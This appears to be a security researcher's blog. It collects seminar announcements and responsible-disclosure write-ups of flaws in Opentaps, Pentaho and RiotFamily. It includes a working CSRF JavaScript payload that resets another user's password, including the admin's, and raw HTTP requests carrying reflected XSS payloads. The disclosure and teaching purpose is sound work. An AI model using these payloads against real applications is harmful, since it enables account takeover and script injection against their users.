Understand how attackers can exploit common and uncommon flaws of web
applications, how they can break data confidentiality and alter data
integrity is vital to ensure security respecting the principle “The only
way to stop a Hacker is to think like one”.

The presentation cover common flaws and uncommon flaws. The first
ones will be easily understood by unskilled people, the latter combined
with advanced techniques such as XSS proxies can become
devastating in classic security policy environments such as
Discretionary Access Control.

For the Browser Exploitation part I’ve made a dedicated screencast: you can reach it on my Vimeo channel.

Today I will present the second part of my security seminars at University of Bologna, Italy.

Here the outline:

• Discuss other important attack vectors, not limited to Web Applications
• Practical screen-casts that show how attackers exploit common flows
• Understand the impact of these threats on your privacy, data and identity

You can find the slides here below:

The ScreenCasts can be watched at the following links on Vimeo:
– EsseDi path traversal for fun and profit: http://vimeo.com/8072462
– Unescaped numeric injection in www.dm.unibo.it: http://vimeo.com/8072698
– Konakart 2.2.6.0 stored XSS explitation with BeEF: http://vimeo.com/8072425
– WMSmonitor: reflected XSS exploitation using BeEF: http://vimeo.com/8072497
– Appendix: Sniffing SSL/TLS Connections Through Fake Certificate Injection: http://vimeo.com/8072385

My slides can be found here: http://www.cs.unibo.it/babaoglu/courses/security/lucidi/SecureProgrammingAndCommonErrors.pdf

Many thanks to prof. Ozalp Babaoglu that still supports me.

For those of you that will attend, please feel free to leave a comment about my seminar. I’m really interested on improving it.

Thanks you all

Take a look at that guys!

http://www.securityfocus.com/archive/1/507168/30/0/threaded

http://www.securityfocus.com/archive/1/507172/30/0/threaded

As we (IntegratingWeb) are developers and committers of the Opentaps ERP/CRM open source project, I’m spending some of my time analyzing the vast amount of source code of the application to find exploitable points and security issues, in order to create a more secure product.

During my research I’ve found some logic security flaws, that surely you cannot discover using static analysis or other automated tools.

The flaw was present in the implementation of the updatePassword logic, by which a user can update his password: in case of an admin, he can update third party passwords too. The issue was that the checks implemented to see if the user was actually an admin were flawed: if the user had the PARTYMGR_UPDATE CRUD permission, a SecurityPermission (speaking in the OFBiz language)  that EVERY PARTY must have (using default permissions) in order to modify his profile data, then he could modify third party passwords. That means INCLUDING THE ADMIN ONE. More than this, any checks on the current passwords were skipped: we didn’t need to know the old admin password before changing it to a new one.

You can understand that in this circumstances it was so easy for me to build an attack vector, to exploit this kind of behavior with a XSRF.

I’m using plain Javascript for my easy attack vector, without relying on any ajax frameworsk for XMLHTTPRequests.

document.body.innerHTML += ‘<form id=”maliciousform” action=”http://localhost:8080/partymgr/control/updatePassword” method=”post”><input type=”hidden” name=”userLoginId” value=”euronymous666″><input type=”hidden” name=”partyId” value=”10010″><input type=”hidden” name=”currentPassword” value=”blabla”><input type=”hidden” name=”newPassword” value=”passwordwedontknow”><input type=”hidden” name=”newPasswordVerify” value=”hardpasswd”><input type=”hidden” name=”passwordHint” value=”"></form>’;
document.getElementById(”maliciousform”).submit();

I’ve changed the code in the trunk to check for ADMIN permissions instead of simple UPDATE permissions, because I suppose that most
custom permission implementations are actually creating some users with full admin privileges, and then other user groups
(such as customers, in e-commerce applications) that have more restrictive permission such as:

<SecurityGroupPermission groupId=”CUSTOMER” permissionId=”PARTYMGR_CREATE”/>
<SecurityGroupPermission groupId=”CUSTOMER” permissionId=”PARTYMGR_UPDATE”/>

Users of the group CUSTOMERS just need to update their profile, change mail or change password, and can eventually use the forgot password
link.

The point here is that basically enforcement on current password should not removed in any circumstances, even on admin
users: if someone doesn’t remember his password, he can use the forgot password service (not so secure in these days
of DNS bug proliferation, Kaminsky said ).

More than this the check

if (!userLoginId.equals(loggedInUserLogin.getString(”userLoginId”)))

is not secure either. Take a UNIX system, and change your unprivileged user account: it will ask for the old password, of course:

euronymouss-macbook-pro:opentaps_trunk euronymous$ passwd euronymous
Changing password for euronymous.
Old password:
New password:
Retype new password:

I’ve just changed the code in a way that IF AND ONLY IF the user is actually calling the service has PARTY ADMIN privileges
( so basically the superuser that would change the password if an employee is asking it – no social engineering I hope -),
he can change the password for a third party or for itself without knowing the current password.

I’ve also removed the check for password.lowercase: it should be finally removed from security.properties, even if by default is
set to false. It’s a bad security practice, because it drastically reduces password entropy (and it – badly – remembers me Microsoft LM).

Finally, I think that even in this circumstances, if a user is the admin and want to change the password of a third party,
it should actually put his current password to confirm that the request is not a BLIND XSRF ( possible otherwise).

For any interested in the source code modifies, just check svn://svn.opentaps.org/opentaps/versions/1.0/trunk at revision 12522 (look for euronymous666 changes).

Any more informations here and here (thanks to Si Chen).

A) Reflected XSS
B) Password field with autocomplete enabled
C) Disclosure of Session Tokens in URL

More infos here: [http://jira.pentaho.com/browse/BISERVER-2698?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel]

After 6 months (SIX! it remembers me David Litchfield and Oracle ) Pentaho developers partially fixed everything.

I’ve not disclosed this before because I’m trying to follow Responsible Disclosure more as I can…

Is that the best? Well, sometimes…

That’s responsible disclosure

If you want to take a look at my slides, please download them here: [http://www.cs.unibo.it/~babaoglu/courses/security/lucidi/SecureProgrammingAndCommonErrors.pdf]

Comments appriciated!

antisnatchor

More difficult to find, more satisfaction to have succeeded :)

Take a look here please: http://jira.riotfamily.org/browse/RIOT-121.

euronymous

Well, that’s not completely true..anyway is always good to look at a JIRA issue opened and closed the same day for a bug (XSS(s) in our case) fixed on-the-fly.

For those of you that are already using Riot in production, and cannot wait for the next minor release, Felix already published the patches in the SVN trunk. Take a look at the JIRA issue here and at the change-log here.

That’s what did Felix Gnass, the lead developer of RiotFamily, in which we have found security issues.

Thanks Felix for fastly patching your powerful platform.

In these days I’m playing with RiotFamily (release 8.0), a powerful JEE based Content Management System developed by Felix Gnass and open to the public. It is based on rock-stable technologies that we all use developing Java based web apps, such as Spring, Hibernate, Freemarker, and DWR for Ajax.

They made a lot of improvement from the previous version 7, especially in the admin backend.

Well I have the time to run it locally on my Tomcat instance and play a bit lookin for security issues…here we go:

1. Reflected XSS in <yourApp>/riot/form/riotUser when adding a new user to the Riot backend. Following the row request complete with the trivial attack vector I’ve used:

POST /riot8/riot/form/riotUser HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5)
Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost:8080/riot8/riot/form/riotUser
Cookie: JSESSIONID=DE70D674365E74CDAD6CA176747FD244;
Content-Type: multipart/form-data; boundary=------------------
---------169054938890117057438849259
Content-Length: 838

-----------------------------169054938890117057438849259
Content-Disposition: form-data; name="id"
aaa
-----------------------------169054938890117057438849259
Content-Disposition: form-data; name="name"
aaa
-----------------------------169054938890117057438849259
Content-Disposition: form-data; name="email"
aaa@aal.lo
-----------------------------169054938890117057438849259
Content-Disposition: form-data; name="p3"
aaa
-----------------------------169054938890117057438849259
Content-Disposition: form-data; name="p3-confirm"
aaa
-----------------------------169054938890117057438849259
Content-Disposition: form-data; name="sites"
1f67g<sCript>alert(666)</ScriPt>74jhskm3
-----------------------------169054938890117057438849259
Content-Disposition: form-data; name="p5"
Save
-----------------------------169054938890117057438849259--

as you can see we’ve modified the original POST request (the one to add a user to the DB) injecting after the value 1 of the form part “sites ” (a normal checkbox) a malicious (even if only to test purposes) JavaScript payload that shows a 666 popup. It works even throwing a java.lang.NumberFormatException.

This is basically the same problem I’ve found in Eclipse BIRT a few months ago (now fixed): the Exception trace is not escaped for HTML characters, as you can see here:

java.lang.NumberFormatException: For input string:
"1f67g<sCript>alert(666)</ScriPt>74jhskm3"
 at java.lang.NumberFormatException.forInputString(NumberFormatException.java:48)
 at java.lang.Integer.parseInt(Integer.java:456)
 at java.lang.Integer.parseInt(Integer.java:497)
 at org.riotfamily.forms.element.select.AbstractMultiSelectElement
.updateSelection(AbstractMultiSelectElement.java:161)
 at org.riotfamily.forms.element.select.AbstractMultiSelectElement
.processRequest(AbstractMultiSelectElement.java:141)
 at org.riotfamily.forms.CompositeElement.processRequestCompontents(CompositeElement
.java:142)
 at org.riotfamily.forms.CompositeElement.processRequest(CompositeElement.java:131)
 at org.riotfamily.forms.Form.processRequest(Form.java:396)
 at org.riotfamily.forms.Form.processRequest(Form.java:387)
 at org.riotfamily.forms.controller.AbstractFormController
.processForm(AbstractFormController.java:239)
 at org.riotfamily.forms.controller.AbstractFormController
.handleFormRequest(AbstractFormController.java:132)
 at org.riotfamily.forms.controller.AjaxFormController
.handleFormRequest(AjaxFormController.java:69)
 at org.riotfamily.forms.controller.AbstractFormController
.handleRequest(AbstractFormController.java:123)

Same problem in the path servlet request URI, in the objectId and subPage parameters:

GET /riot8/riot/path?editorId=messageBundleEntry
              &objectId=1o92<script>alert(1)</script>73j HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5)
 Gecko/2009010711 Gentoo Firefox/3.0.5

[..]

GET /riot8/riot/path?editorId=dbMessages
     &subPage=importMessagesac210<script>alert(1)</script>748djna HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5)
Gecko/2009010711 Gentoo Firefox/3.0.5

Have fun guys…

euronymous